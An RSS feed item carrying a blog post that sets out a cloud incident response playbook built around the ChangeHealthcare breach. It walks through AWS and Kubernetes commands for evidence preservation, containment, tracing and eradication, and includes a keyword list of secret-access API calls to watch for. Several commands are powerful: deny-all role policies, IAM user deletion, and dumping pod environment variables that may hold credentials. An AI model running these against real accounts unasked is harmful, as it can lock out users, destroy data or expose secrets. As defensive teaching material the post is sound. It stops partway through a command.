<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Incident Response Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/incident-response/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/incident-response/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 06 Jul 2026 03:36:59 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Incident Response Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/incident-response/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Cloud Incident Response Playbook: First 24 Hours After a Breach</title>
		<link>https://linuxcent.com/cloud-incident-response-playbook-24-hours/</link>
					<comments>https://linuxcent.com/cloud-incident-response-playbook-24-hours/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 08 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[ChangeHealthcare]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Ransomware]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1876</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud incident response: the first 24 hours determine whether ransomware becomes a data breach. The ChangeHealthcare playbook — what to isolate, what to preserve, what to communicate.</p>
<p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape/">Kubernetes container escape</a> → <a href="/supply-chain-attack-detection/">Supply chain attack detection</a> → <a href="/cloud-lateral-movement-iam/">Cloud lateral movement IAM</a> → <a href="/detection-engineering-ebpf-cloud/">Detection engineering with eBPF</a> → <strong>Cloud Incident Response Playbook</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> is not documentation you write after a breach — it is the executable sequence your team runs in the first 24 hours, rehearsed before the breach happens</li>
<li>The ChangeHealthcare attack (February 2024) disrupted $22 billion in medical claims processing and exposed 190 million Americans&#8217; health data; the initial vector was a single set of stolen credentials and a Citrix portal with no MFA</li>
<li>Hours 0–1: declare the incident immediately, scope the blast radius, and start querying CloudTrail — do not investigate quietly</li>
<li>Hours 1–4: contain by revoking credentials and isolating infrastructure, but preserve evidence before any remediation — forensic snapshots and log exports before terminating anything</li>
<li>Hours 4–12: trace lateral movement via AssumeRole chains, identify persistence mechanisms (new IAM users/roles, Lambda backdoors, modified images), and confirm the full data access scope</li>
<li>Hours 12–24: eradicate from known-good baselines, not by patching compromised instances; recover dev → staging → prod; trigger regulatory notification timers</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Cross-cutting — incident response is not mapped to a single OWASP category because a breach can enter through any of them. IR quality is the backstop when prevention fails across A01 (broken access control), A07 (authentication failures), A08 (supply chain), and every other vector. The 24-hour window covered here applies regardless of initial entry point.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│            CLOUD INCIDENT RESPONSE: THE 24-HOUR SEQUENCE                │
│                                                                         │
│  ALERT                                                                  │
│    GuardDuty / Falco / anomaly detection fires                          │
│    ↓                                                                    │
│  TRIAGE  [0–1h]                                                         │
│    Declare incident → scope blast radius → open incident channel        │
│    Is the attacker still active? What data is at risk?                  │
│    ↓                                                                    │
│  CONTAIN  [1–4h]                                                        │
│    Revoke credentials → isolate compute → cordon K8s nodes             │
│    !! Do NOT terminate instances before snapshot !!                     │
│    ↓                                                                    │
│  PRESERVE  [1–4h, parallel with contain]                                │
│    EBS snapshots → CloudTrail log export → VPC Flow export              │
│    Forensic copy before any remediation changes the system state        │
│    ↓                                                                    │
│  INVESTIGATE  [4–12h]                                                   │
│    AssumeRole chain analysis → data access scope → persistence hunt     │
│    eBPF/Falco/Tetragon evidence if available (see EP11)                 │
│    ↓                                                                    │
│  ERADICATE  [12–24h]                                                    │
│    Remove persistence → rotate ALL credentials in blast radius          │
│    Replace compromised instances from known-good hardened AMI           │
│    ↓                                                                    │
│  RECOVER  [12–24h]                                                      │
│    dev → staging → prod sequence. Never prod-first.                     │
│    Verify monitoring before declaring all-clear                         │
│    ↓                                                                    │
│  LEARN                                                                  │
│    Post-incident review → timeline → regulatory notifications           │
│    Update playbook before the next incident                             │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>A <strong>cloud incident response playbook</strong> that exists only as a document is not an incident response capability. The sequence above is only useful if your team has rehearsed it — run it as a tabletop, run it in a chaos exercise, run it on a simulated breach in a non-prod account. The first time through this sequence should not be during an actual breach.</p>
<hr />
<h2 id="the-incident-changehealthcare-february-2024">The Incident: ChangeHealthcare (February 2024)</h2>
<p>On February 21, 2024, ransomware attacked Change Healthcare, a UnitedHealth Group subsidiary that processes roughly 50% of US medical claims. By the time containment completed, the damage was:</p>
<ul>
<li><strong>$22 billion</strong> in medical claims processing disrupted</li>
<li><strong>190 million</strong> Americans&#8217; health data potentially exposed</li>
<li>Hospitals unable to process insurance claims for weeks — some faced payroll crises because they couldn&#8217;t get reimbursed for care already delivered</li>
<li>A $22 million ransom paid to ALPHV/BlackCat, followed by ALPHV exit-scamming the affiliate (keeping the ransom), followed by RansomHub re-extorting with the same data</li>
</ul>
<p>The initial vector: a Citrix remote access portal with no MFA enforced. A single set of stolen credentials. That&#8217;s it.</p>
<p>What made the outcome as severe as it was: the attackers had nine days of dwell time before the ransomware detonated. Nine days of lateral movement, data staging, and backup discovery before the explosion. The first 24 hours after detection determine whether you contain an intrusion or respond to a full-scale breach. The ChangeHealthcare team was responding to a full-scale breach because the first 24 hours happened nine days before anyone knew there was an incident.</p>
<p>There is an inverse relationship between incident response quality and preparation investment. Teams that contain in four hours practiced containing in four hours. Teams that discover they have no forensic evidence discover that during the investigation, not before it.</p>
<hr />
<h2 id="hour-01-detect-and-declare">Hour 0–1: Detect and Declare</h2>
<h3 id="step-1-declare-do-not-investigate-quietly">Step 1: Declare — Do Not Investigate Quietly</h3>
<p>The instinct when something looks suspicious is to investigate before escalating. That instinct is wrong in cloud incidents. Every minute of quiet investigation is a minute the attacker may be escalating privileges, staging data, or discovering your backups.</p>
<p>Declare the incident immediately. The threshold for declaration is suspicion, not confirmation.</p>
<p><strong>Who to notify in the first 15 minutes:</strong><br />
&#8211; CISO (or on-call security lead)<br />
&#8211; Legal counsel (regulatory clock starts now; you need legal involved from minute one)<br />
&#8211; On-call SRE lead (you will need infrastructure access)<br />
&#8211; Communications lead (if external-facing systems are involved)</p>
<p><strong>Operational setup:</strong><br />
1. Create a dedicated incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-brief-descriptor</code><br />
2. Start an incident log — a shared doc, timestamped, with every action taken and by whom. This becomes your evidence log and your regulatory submission document.<br />
3. Assign a scribe. The incident commander should not also be taking notes.</p>
<h3 id="step-2-scope-the-blast-radius">Step 2: Scope the Blast Radius</h3>
<p>Before touching anything, answer three questions:</p>
<ol>
<li><strong>Is the attacker still active?</strong> (Is this ongoing or historical?)</li>
<li><strong>What is the potential blast radius?</strong> (Which accounts, regions, services, principals are in scope?)</li>
<li><strong>What data is at risk?</strong> (PII, credentials, intellectual property, PHI/PII with regulatory implications?)</li>
</ol>
<h3 id="step-3-initial-cloudtrail-query">Step 3: Initial CloudTrail Query</h3>
<pre><code class="" data-line=""># Run this before touching anything — you want a clean baseline
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=suspected-role \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].[EventTime,EventName,Resources[0].ResourceName]&#039; \
  --output table
</code></pre>
<pre><code class="" data-line=""># If you don&#039;t know the principal yet — look for unusual API activity
# across all principals in the last hour
aws cloudtrail lookup-events \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].{Time:EventTime,User:Username,Event:EventName,Source:EventSource}&#039; \
  --output json | \
  jq &#039;sort_by(.Time) | reverse | .[:50]&#039;
# Look for: CreateUser, AttachRolePolicy, PutRolePolicy, CreateAccessKey,
#           GetSecretValue, ListBuckets, DescribeInstances in rapid succession
</code></pre>
<pre><code class="" data-line=""># Check GuardDuty for the triggering finding
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty get-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-ids $(aws guardduty list-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-criteria &#039;{
      &quot;Criterion&quot;: {
        &quot;updatedAt&quot;: {&quot;Gte&quot;: &#039;$(date -d &#039;24 hours ago&#039; +%s000)&#039;}
      }
    }&#039; \
    --sort-criteria &#039;{&quot;AttributeName&quot;:&quot;updatedAt&quot;,&quot;OrderBy&quot;:&quot;DESC&quot;}&#039; \
    --max-results 10 \
    --query &#039;FindingIds&#039; --output text) | \
  jq &#039;.Findings[] | {type: .Type, severity: .Severity, time: .UpdatedAt, detail: .Description}&#039;
</code></pre>
<hr />
<h2 id="hour-14-contain-without-destroying-evidence">Hour 1–4: Contain Without Destroying Evidence</h2>
<p>The central tension in early containment: you need to stop the bleeding, but you also need the evidence. Terminating a compromised EC2 instance stops the threat on that instance — it also destroys the process table, network connections, in-memory artifacts, and filesystem state that the investigation needs.</p>
<p><strong>The order of operations:</strong><br />
1. Preserve (snapshot, export logs)<br />
2. Contain (revoke credentials, isolate network)<br />
3. Never terminate before step 1</p>
<h3 id="evidence-preservation-before-any-containment-action">Evidence Preservation (Before Any Containment Action)</h3>
<pre><code class="" data-line=""># Create EBS snapshots of ALL volumes on compromised instances
# Do this FIRST — before network isolation, before anything
aws ec2 describe-instances \
  --instance-ids i-compromised-instance-id \
  --query &#039;Reservations[].Instances[].BlockDeviceMappings[].Ebs.VolumeId&#039; \
  --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read vol_id; do
    echo &quot;Snapshotting volume: ${vol_id}&quot;
    aws ec2 create-snapshot \
      --volume-id &quot;${vol_id}&quot; \
      --description &quot;IR evidence - $(date --iso-8601) - ${vol_id}&quot; \
      --tag-specifications &quot;ResourceType=snapshot,Tags=[{Key=incident,Value=active},{Key=preserve,Value=legal-hold}]&quot;
  done
</code></pre>
<pre><code class="" data-line=""># Export CloudTrail logs for the incident window to a local IR evidence directory
# Use a time window that starts 24 hours before the suspected compromise
aws s3 sync \
  s3://your-cloudtrail-bucket/AWSLogs/123456789012/CloudTrail/ \
  ./ir-evidence/cloudtrail/ \
  --exclude &quot;*&quot; \
  --include &quot;*/2024/02/21/*&quot; \
  --include &quot;*/2024/02/22/*&quot;
</code></pre>
<pre><code class="" data-line=""># Export VPC Flow Logs for the incident window
# These show network connections that CloudTrail doesn&#039;t capture
aws logs filter-log-events \
  --log-group-name /aws/vpc/flowlogs \
  --start-time $(date -d &#039;24 hours ago&#039; +%s000) \
  --end-time $(date +%s000) \
  --query &#039;events[*].message&#039; \
  --output text &gt; ./ir-evidence/vpc-flow-logs.txt
</code></pre>
<h3 id="containment-action-1-revoke-the-compromised-credential">Containment Action 1: Revoke the Compromised Credential</h3>
<pre><code class="" data-line=""># Option A: Disable an IAM user&#039;s access key (reversible — preserves key for forensics)
aws iam update-access-key \
  --user-name compromised-user \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive

# Option B: If the compromised principal is an IAM role —
# attach a deny-all inline policy (fastest, takes effect immediately)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Sid&quot;: &quot;IncidentDenyAll&quot;,
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;
      }
    ]
  }&#039;
</code></pre>
<pre><code class="" data-line=""># Option C: If you need to revoke ALL active sessions for a role immediately
# (active STS sessions are not invalidated by the deny policy alone
#  until the session token expires — use this to force immediate revocation)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;,
        &quot;Condition&quot;: {
          &quot;DateLessThan&quot;: {
            &quot;aws:TokenIssueTime&quot;: &quot;&#039;$(date --iso-8601=seconds)&#039;&quot;
          }
        }
      }
    ]
  }&#039;
# This denies all requests where the token was issued before right now
# — effectively invalidating all existing sessions for this role
</code></pre>
<h3 id="containment-action-2-isolate-affected-ec2-instances">Containment Action 2: Isolate Affected EC2 Instances</h3>
<pre><code class="" data-line=""># Create an isolation security group — no ingress, no egress
# except SSH from your IR bastion (for forensic access if needed)
ISOLATION_SG=$(aws ec2 create-security-group \
  --group-name &quot;incident-isolation-$(date +%Y%m%d)&quot; \
  --description &quot;Incident isolation - no network access except IR bastion&quot; \
  --vpc-id vpc-your-vpc-id \
  --query &#039;GroupId&#039; \
  --output text)

echo &quot;Isolation SG created: ${ISOLATION_SG}&quot;

# Add ingress rule: only from IR bastion (for forensic access)
# Remove this rule entirely if you don&#039;t need it
aws ec2 authorize-security-group-ingress \
  --group-id &quot;${ISOLATION_SG}&quot; \
  --protocol tcp \
  --port 22 \
  --cidr YOUR-IR-BASTION-IP/32

# Apply the isolation SG to the compromised instance
# This replaces all existing security groups — the instance is now isolated
aws ec2 modify-instance-attribute \
  --instance-id i-compromised-instance-id \
  --groups &quot;${ISOLATION_SG}&quot;
</code></pre>
<p><strong>Important:</strong> Do not terminate the instance. The isolated instance remains available for forensic analysis via the IR bastion. Termination destroys volatile evidence. You terminate after the investigation is complete and legal has cleared the evidence for destruction.</p>
<h3 id="containment-action-3-kubernetes-cordon-dont-delete">Containment Action 3: Kubernetes — Cordon, Don&#8217;t Delete</h3>
<pre><code class="" data-line=""># Cordon the compromised node — prevents new pod scheduling
kubectl cordon node/compromised-node-name

# Label the node for IR tracking
kubectl label node/compromised-node-name incident=active preserve=legal-hold

# If a specific pod is the concern — do NOT kubectl delete pod
# Instead, collect forensic information first
POD_NAME=&quot;compromised-pod&quot;
NAMESPACE=&quot;production&quot;

# Capture the full pod spec and status
kubectl get pod &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -o json &gt; \
  ./ir-evidence/pod-spec-${POD_NAME}.json

# Capture environment variables (may contain credential evidence)
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- env &gt; \
  ./ir-evidence/pod-env-${POD_NAME}.txt 2&gt;/dev/null

# Capture running processes
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ps auxf &gt; \
  ./ir-evidence/pod-processes-${POD_NAME}.txt 2&gt;/dev/null

# Capture network connections
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ss -tunapw &gt; \
  ./ir-evidence/pod-netstat-${POD_NAME}.txt 2&gt;/dev/null

# Now you can delete the pod if needed — you have the evidence
</code></pre>
<hr />
<h2 id="hour-412-investigate-the-blast-radius">Hour 4–12: Investigate the Blast Radius</h2>
<p>Containment stops the active threat. Investigation answers: what did they do, where did they go, and what did they touch?</p>
<h3 id="trace-the-lateral-movement">Trace the Lateral Movement</h3>
<p>The most important lateral movement mechanism in AWS is AssumeRole chaining — a compromised principal assumes a role, which has permissions to assume another role, building a privilege escalation path. <a href="/aws-iam-privilege-escalation/">IAM attack path reconstruction</a> requires following this chain through CloudTrail.</p>
<pre><code class="" data-line=""># Find all AssumeRole events from the compromised principal
# This shows every role the attacker assumed after initial compromise
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    select(.userIdentity.arn | contains(&quot;compromised-role&quot;)) | 
    {
      time: .eventTime,
      caller: .userIdentity.arn,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Follow the chain — get ALL roles assumed during the incident window
# regardless of source, then trace connections manually
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq -r &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    [.eventTime, .userIdentity.arn, .requestParameters.roleArn, .sourceIPAddress] | 
    @tsv&#039; | \
  sort -k1
# Build the graph manually: which ARN called AssumeRole for which target role
# Any role not in your expected deployment automation is suspicious
</code></pre>
<h3 id="find-what-data-was-accessed">Find What Data Was Accessed</h3>
<pre><code class="" data-line=""># S3 GetObject events — shows every object the attacker read
# NOTE: S3 data events are NOT enabled by default in CloudTrail
# If you haven&#039;t pre-enabled them, this query returns nothing useful
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      bucket: .requestParameters.bucketName,
      key: .requestParameters.key,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Secrets Manager — what secrets were accessed?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      secret: .requestParameters.secretId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># KMS — what was decrypted?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=Decrypt \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      key_id: .requestParameters.keyId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<h3 id="hunt-for-persistence-mechanisms">Hunt for Persistence Mechanisms</h3>
<p>Attackers establish persistence before detonating ransomware or before exfiltrating at scale. The most common persistence mechanisms in AWS:</p>
<pre><code class="" data-line=""># New IAM users created during the incident window
aws iam list-users \
  --query &#039;Users[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[UserName,CreateDate,UserId]&#039; \
  --output table

# New IAM roles created during the incident window
aws iam list-roles \
  --query &#039;Roles[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[RoleName,CreateDate,RoleId]&#039; \
  --output table

# New IAM access keys created for existing users
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, user: .requestParameters.userName, by: .userIdentity.arn}&#039;
</code></pre>
<pre><code class="" data-line=""># Lambda functions with recent code modifications
# (Lambda is a common backdoor target — function code is easy to modify)
aws lambda list-functions \
  --query &#039;Functions[?LastModified&gt;=`2024-02-21`].[FunctionName,LastModified,Runtime]&#039; \
  --output table

# For any recently modified function — check for unexpected environment variables
aws lambda get-function-configuration \
  --function-name suspicious-function-name \
  --query &#039;{env: Environment.Variables, role: Role, handler: Handler}&#039;
</code></pre>
<pre><code class="" data-line=""># CloudFormation stacks created or modified during incident window
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateStack \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, stack: .requestParameters.stackName, by: .userIdentity.arn}&#039;

# EC2 user-data modifications (backdoor via user data on restart)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ModifyInstanceAttribute \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | select(.requestParameters | has(&quot;userData&quot;)) | {time: .eventTime, instance: .requestParameters.instanceId, by: .userIdentity.arn}&#039;
</code></pre>
<h3 id="ebpf-and-falco-evidence-if-available">eBPF and Falco Evidence (If Available)</h3>
<p>If your environment runs Falco or Cilium Tetragon (see <a href="/detection-engineering-ebpf-cloud/">detection engineering with eBPF</a>), the kernel-level telemetry from EP11 is now forensic evidence:</p>
<pre><code class="" data-line=""># Tetragon: export process execution events for the incident window
# Tetragon writes to /var/log/tetragon/tetragon.log by default
# Filter by the time window and affected pod/node

# On the affected node (or via log aggregation if you ship to a SIEM):
cat /var/log/tetragon/tetragon.log | \
  jq &#039;select(.time &gt;= &quot;2024-02-21T00:00:00Z&quot; and .time &lt;= &quot;2024-02-22T23:59:59Z&quot;) |
    select(.process_exec != null) |
    {
      time: .time,
      pod: .process_exec.process.pod.name,
      ns: .process_exec.process.pod.namespace,
      binary: .process_exec.process.binary,
      args: .process_exec.process.arguments,
      parent: .process_exec.parent.binary
    }&#039; | head -100
</code></pre>
<pre><code class="" data-line=""># Falco: pull alerts from the incident window out of your SIEM/log store
# If you&#039;re running Falco with file output:
grep &quot;2024-02-21\|2024-02-22&quot; /var/log/falco/events.json | \
  jq &#039;select(.priority == &quot;Critical&quot; or .priority == &quot;Error&quot;) |
    {time: .time, rule: .rule, output: .output, pod: .output_fields.&quot;k8s.pod.name&quot;}&#039; | \
  head -50
</code></pre>
<p>Process lineage from Tetragon (which parent process spawned which child) is often the clearest signal of container escape or lateral movement within a cluster. It shows attack paths that API-layer logging cannot reconstruct.</p>
<hr />
<h2 id="hour-1224-eradicate-and-recover">Hour 12–24: Eradicate and Recover</h2>
<h3 id="remove-persistence">Remove Persistence</h3>
<p>Work through the persistence findings from the investigation phase in order:</p>
<pre><code class="" data-line=""># Delete unauthorized IAM users created during the incident
# First: disable their access keys
aws iam list-access-keys --user-name attacker-created-user \
  --query &#039;AccessKeyMetadata[].AccessKeyId&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read key_id; do
    aws iam update-access-key --user-name attacker-created-user \
      --access-key-id &quot;${key_id}&quot; --status Inactive
  done

# Then: detach all policies, remove from groups, delete login profile, delete user
aws iam detach-user-policy --user-name attacker-created-user \
  --policy-arn arn:aws:iam::123456789012:policy/attached-policy
aws iam delete-user --user-name attacker-created-user
</code></pre>
<pre><code class="" data-line=""># Rotate ALL credentials that could have been accessed during the incident window
# Not just the initial compromise — every secret in the blast radius

# List all IAM user access keys in the affected account
aws iam list-users --query &#039;Users[].UserName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    aws iam list-access-keys --user-name &quot;${user}&quot; \
      --query &#039;AccessKeyMetadata[?Status==`Active`].{User:UserName,Key:AccessKeyId}&#039; \
      --output json
  done | jq -s &#039;flatten&#039;
# For each key: create new key → update application config → delete old key
</code></pre>
<pre><code class="" data-line=""># Remove Lambda backdoors — restore from last known-good deployment
# Do NOT patch the modified function — replace the entire deployment package
aws lambda update-function-code \
  --function-name backdoored-function \
  --s3-bucket your-code-bucket \
  --s3-key known-good/function-v1.2.3.zip

# Reset environment variables (remove anything added during incident)
aws lambda update-function-configuration \
  --function-name backdoored-function \
  --environment &#039;Variables={EXPECTED_VAR=expected_value}&#039;
</code></pre>
<h3 id="replace-compromised-instances-from-known-good-baselines">Replace Compromised Instances From Known-Good Baselines</h3>
<p>Do not patch a compromised instance and return it to production. The instance&#8217;s integrity is unknown — the attacker may have modified binaries, installed kernel modules, or altered the init system in ways that a filesystem scan won&#8217;t catch.</p>
<p>Replace from a known-good hardened image:</p>
<pre><code class="" data-line=""># Launch a replacement from a hardened baseline AMI
# If you&#039;re running a Stratum-built image pipeline, this is where it pays off:
# you have a signed, hardened, versioned AMI to replace from

aws ec2 run-instances \
  --image-id ami-known-good-hardened-baseline \
  --instance-type t3.medium \
  --subnet-id subnet-your-private-subnet \
  --security-groups sg-your-normal-sg \
  --iam-instance-profile Name=your-instance-profile \
  --tag-specifications \
